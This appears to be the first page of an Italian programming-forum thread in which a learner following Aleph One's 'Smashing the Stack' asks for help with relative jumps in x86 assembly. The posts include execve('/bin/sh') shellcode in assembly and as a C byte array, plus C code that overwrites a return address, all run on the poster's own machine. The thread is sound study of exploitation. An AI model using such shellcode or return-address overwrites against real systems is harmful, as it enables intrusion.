Pagina 1 di 2 1 2 ultimoultimo
Visualizzazione dei risultati da 1 a 10 su 18
  1. #1

    [asm] Salto incondizionato e relativo

    Nel mio portatile x86_64, per eseguire salti di lunghezza arbitraria rispetto alla posizione corrente, non conoscendo a priori: ne l'indirizzo dell'istruzione di salto, ne la sua distanza in byte da una label; utilizzo una spiazzamento rispetto all'indirizzo dell'ip register, in questo modo,
    codice:
    jmpq   *spiaz(%rip)
    Cosi avremmo ip <- ip+spiaz.
    Quest'oggi ho provato a eseguire quest'istruzione, sotto un'architettura i686,
    codice:
    jmp   *spiaz(%eip)
    ma, l'assemblatore m'ha informato dell'illegalità dell'istruzione( ora non ricordo l'errore ). In sostanza non è possibile leggere il puntatore di programma. Sapreste suggerirmi qualche raggiro per sapere l'indirizzo contenuto nell'ip, o come saltare rispettando le condizioni su dette, con un'architettura i686?
    Dante

  2. #2
    Non so che sintassi si usi, ma il manuale Intel specifica che il JMP relativo con offset a 32 bit esiste ed è valido anche per i processori a 32 bit. Edit: ah no, il JMP relativo con offset specificato "da fuori" mi sa che non esiste.
    Per il resto, l'EIP non è un registro esposto direttamente sull'architettura x86, tuttavia puoi recuperarlo "barando" effettuando una CALL e andando a ripescare l'indirizzo sullo stack (occhio a copiarlo con una MOV e poi usare la RET invece di fare un semplice POP, altrimenti si incasina il branch predictor).
    Amaro C++, il gusto pieno dell'undefined behavior.

  3. #3
    Utente di HTML.it L'avatar di oregon
    Registrato dal
    Jul 2005
    residenza
    Roma
    Messaggi
    36,466
    In che senso non esiste se specificato "da fuori"?

    Il manuale dice

    IF instruction = relative JMP
    (* i.e. operand is rel8, rel16, or rel32 *)
    THEN
    EIP := EIP + rel8/16/32;

    "rel32 is used when the operand-size attribute is 32 bits (segment size attribute 32 only)"
    No MP tecnici (non rispondo nemmeno!), usa il forum.

  4. #4

    Re: [asm] Salto incondizionato e relativo

    Mi devo ricredere:
    Originariamente inviato da pistilloi
    Nel mio portatile utilizzo una spiazzamento rispetto all'indirizzo dell'ip register, in questo modo,
    codice:
    jmpq   *spiaz(%rip)
    In fase d'assemblaggio tutto bene, ma quando eseguo "Errore di segmentazione", sotto x86_64.
    codice:
    (gdb) run
    Starting program: /home/dante/Documenti/asm/stackeggiare
    
    Program received signal SIGSEGV, Segmentation fault.
    main () at stackeggiare.s:5
    5          jmp *0x40(%rip)
    (gdb)
    Dante

  5. #5
    Originariamente inviato da oregon
    In che senso non esiste se specificato "da fuori"?

    Il manuale dice

    IF instruction = relative JMP
    (* i.e. operand is rel8, rel16, or rel32 *)
    THEN
    EIP := EIP + rel8/16/32;

    "rel32 is used when the operand-size attribute is 32 bits (segment size attribute 32 only)"
    Da come l'avevo vista io, rel32 dev'essere un immediate, mentre tutte le varianti indirect (in cui si può specificare un registro o un indirizzo di memoria) sono solo salti assoluti.
    Infatti per JMP rel32 dà come opcode E9 cd, dove cd è "A [...] 4-byte value following the opcode", mentre i JMP r/m32 ("r/m32 - A doubleword general-purpose register or memory operand") sono descritti come "Jump near, absolute indirect".

    ... poi magari mi sbaglio, non ho mai scritto "per davvero" in assembly (solo un po' di reverse engineering qui e là )

    ---edit---
    O forse ho capito male quello che vuole fare? Io avevo capito che l'offset è noto solo a runtime, se invece l'offset è noto al momento dell'assemblaggio va bene il JMP rel32.
    Amaro C++, il gusto pieno dell'undefined behavior.

  6. #6
    L'offset è noto a priori, la posizione del jmp in memoria no.

    Ma il rel32, è un registro in cui devo caricare l'offset?
    JMP rel è compatibile anche con x86_64?
    Dante

  7. #7
    Utente di HTML.it L'avatar di oregon
    Registrato dal
    Jul 2005
    residenza
    Roma
    Messaggi
    36,466
    Per evitare incomprensioni, puoi mostrare il codice che vorresti scrivere (magari nel formato Intel) ?
    No MP tecnici (non rispondo nemmeno!), usa il forum.

  8. #8
    Sto studiando Smashing the stack, di Aleph One, il mio obbiettivo è posizionare il codice operativo che fa questo,
    codice:
    #include <stdio.h>
    
    void main() {
       char *name[2];
    
       name[0] = "/bin/sh";
       name[1] = NULL;
       
       execve(name[0], name, NULL);
    }
    in un'array globale e modificare l'indirizzo di ritorno del main, affinché vada a fetchare questo codice.

    Una prima traduzione è questo,
    codice:
    .data
    	str: .string "/bin/sh"
    .global main
    
    main:
       mov    %rsp,%rbp
       sub    $0x10,%rsp
       
       #array 
       movq   $str,-0x10(%rbp)
       movq   $0x0,-0x8(%rbp)
       
       mov    -0x10(%rbp),%rax
       lea    -0x10(%rbp),%rcx
       
       #parametri execve
       mov    $0x0,%edx
       mov    %rcx,%rsi
       mov    %rax,%rdi
       
       mov    $0x3b,%rax      
       syscall			#execve
    	
       mov    $0x3c, %rax	    
       mov    $0x0, %rbx		
       syscall			#exit
    Ma avendo utilizzato la direttiva .string, l'assemblatore può posizionare la stringa dove preferisce, ciò non va bene, dal momento che necessito di un codice operativo assoluto. Quindi ricorro a questo stratagemma,
    codice:
    .global main
    
    main:
       jmp lab1
    lab2:
       pop %rsi
       mov    %rsp,%rbp
       sub    $0x10,%rsp
       movq   %rsi,-0x10(%rbp)
       movq   $0x0,-0x8(%rbp)
       mov    -0x10(%rbp),%rax
       lea    -0x10(%rbp),%rcx
       
       mov    $0x0,%edx
       mov    %rcx,%rsi
       mov    %rax,%rdi
       
       mov    $0x3b,%rax      
       syscall			#execve
    	
       mov    $0x3c, %rax	    
       mov    $0x0, %rbx		
       syscall			#exit
    lab1:
       call lab2
       .string "/bin/sh"
    La CALL in lab1, pusha nello stack l'indirizzo dell'istruzione successiva, quindi l'indirizzo di /bin/sh/, che poi andiamo a recuperarci con un semplice POP. Però abbiamo usato delle label, quindi il codice operativo risultante non sarà assoluto, bensì dipenderà da dove l'assemblatore decide di piazzare il codice. Ecco perché ho la necessità di saltare in funzione della posizione attuale e non rispetto a un riferimento come un'etichetta.
    Ho provato a saltare in funzione dell'indirizzo contenuto nell' ip, ma ottengo errore di seg. a run time, nel JMP. Se post fisso, l'offset all'istruzione di salto, non avrò IP<-IP+offset, bensì IP<-offset.
    Scusate, ma tradurre tutto in sintassi intel, sarebbe stato un lavoraccio ora come ora.
    Dante

  9. #9
    Utente di HTML.it L'avatar di oregon
    Registrato dal
    Jul 2005
    residenza
    Roma
    Messaggi
    36,466
    Il jmp è relativo quindi non dovresti avere problemi.

    Se la sintassi lo ammette potresti scrivere

    jmp short lab1

    per assicurarti che sia relativo
    No MP tecnici (non rispondo nemmeno!), usa il forum.

  10. #10
    Considerando che questo,
    codice:
    //cc corruptflow.c -fno-stack-protector
    
    #include<stdio.h>
    #define OFFSET 7
    
    void function(int a, int b, int c) 
    {
       char *ret;
    
       ret = (char *) &ret + 16;
       (*ret) += OFFSET;
    }
    
    void main() {
      int x;
    
      x = 0;
      function(1,2,3);
      x = 1;
      
      printf("%d\n",x);
    }
    ...nel mio calcolatore, stampa 0. Ciò vuol dire che l'indirizzo di ritorno della funzione dista 64+64=128bit=16byte dalla posizione in memoria, della variabile puntatore "ret", l'istruzione macchina successiva a "x=1" dista 7byte dall'indirizzo di ritorno della CALL a "function".

    Ora, prendiamo quest'altro,
    codice:
    //shellcode.c
    char shellcode[] =
    	{ 0xeb,0x40,0x5e,0x48,0x89,0xe5,0x48,0x83,0xec,0x10,0x48,0x89,0x75
    	 ,0xf0,0x48,0xc7,0x45,0xf8,0x00,0x00,0x00,0x00,0x48,0x8b,0x45,0xf0
    	 ,0x48,0x8d,0x4d,0xf0,0xba,0x00,0x00,0x00,0x00,0x48,0x89,0xce,0x48
    	 ,0x89,0xc7,0x48,0xc7,0xc0,0x3b,0x00,0x00,0x00,0x0f,0x05,0x48,0xc7
    	 ,0xc0,0x3c,0x00,0x00,0x00,0x48,0xc7,0xc3,0x00,0x00,0x00,0x00,0x0f
    	 ,0x05,0xe8,0xbb,0xff,0xff,0xff,0x2f,0x62 
    	};
    
    void main() {
       char *ret;
    
       ret = (char *) &ret + 16;
       (*ret) = shellcode;
    }
    ...dove in "shellcode[]" ho caricato il codice operativo dell'ultimo listato assembly postato. Il listato produce un'eseguibile funzionante, che apre una shell. Ho ottenuto il codice macchina con,

    codice:
    (gdb) disassemble /r main
    ...
    (gdb) disassemble /r lab2
    ...
    (gdb) disassemble /r lab1
    Messe le stringhe di byte in un file.txt, l'ho dato in pasto a questo piccolo script python,
    codice:
    import string
    
    stringa = "" 
    
    
    filedf = raw_input("File da formattare: ")
    input = open( filedf ,'r') 
    	
    testo = input.read() 
    	
    for i in string.split(testo):
    	stringa += "0x"+i+","
    
    print stringa[0:len(stringa)-1]
    Quindi, in tutto questo delicato lavoro, sono certo di non aver commesso errori di distrazione. Ordunque compilo ed eseguo shellcode.c,
    codice:
    $ cc shellcode.c -o shellcode -g -fno-stack-protector
    shellcode.c: In function ‘main’:                                                                                                            
    shellcode.c:15:11: warning: assignment makes integer from pointer without a cast [enabled by default]                                       
    dante@dante-PC:~/Documenti/c/Stackeggiare$ ./shellcode
                                                                                                                                                
                                                                                                                                             
    ^C                                                                                                                                          
    $
    Il programma, non apre una shell ma non torna neanche alla bash. A questo punto mi vengono due cose in mente: il JMP non è stato eseguito relativamente, oppure io con il "&ret + 16" non sto azzeccando l'indirizzo di ritorno del main, ma vista la considerazione fatta inizialmente, non capisco perché!

    Secondo voi?
    Dante

Permessi di invio

  • Non puoi inserire discussioni
  • Non puoi inserire repliche
  • Non puoi inserire allegati
  • Non puoi modificare i tuoi messaggi
  •  
Powered by vBulletin® Version 4.2.1
Copyright © 2024 vBulletin Solutions, Inc. All rights reserved.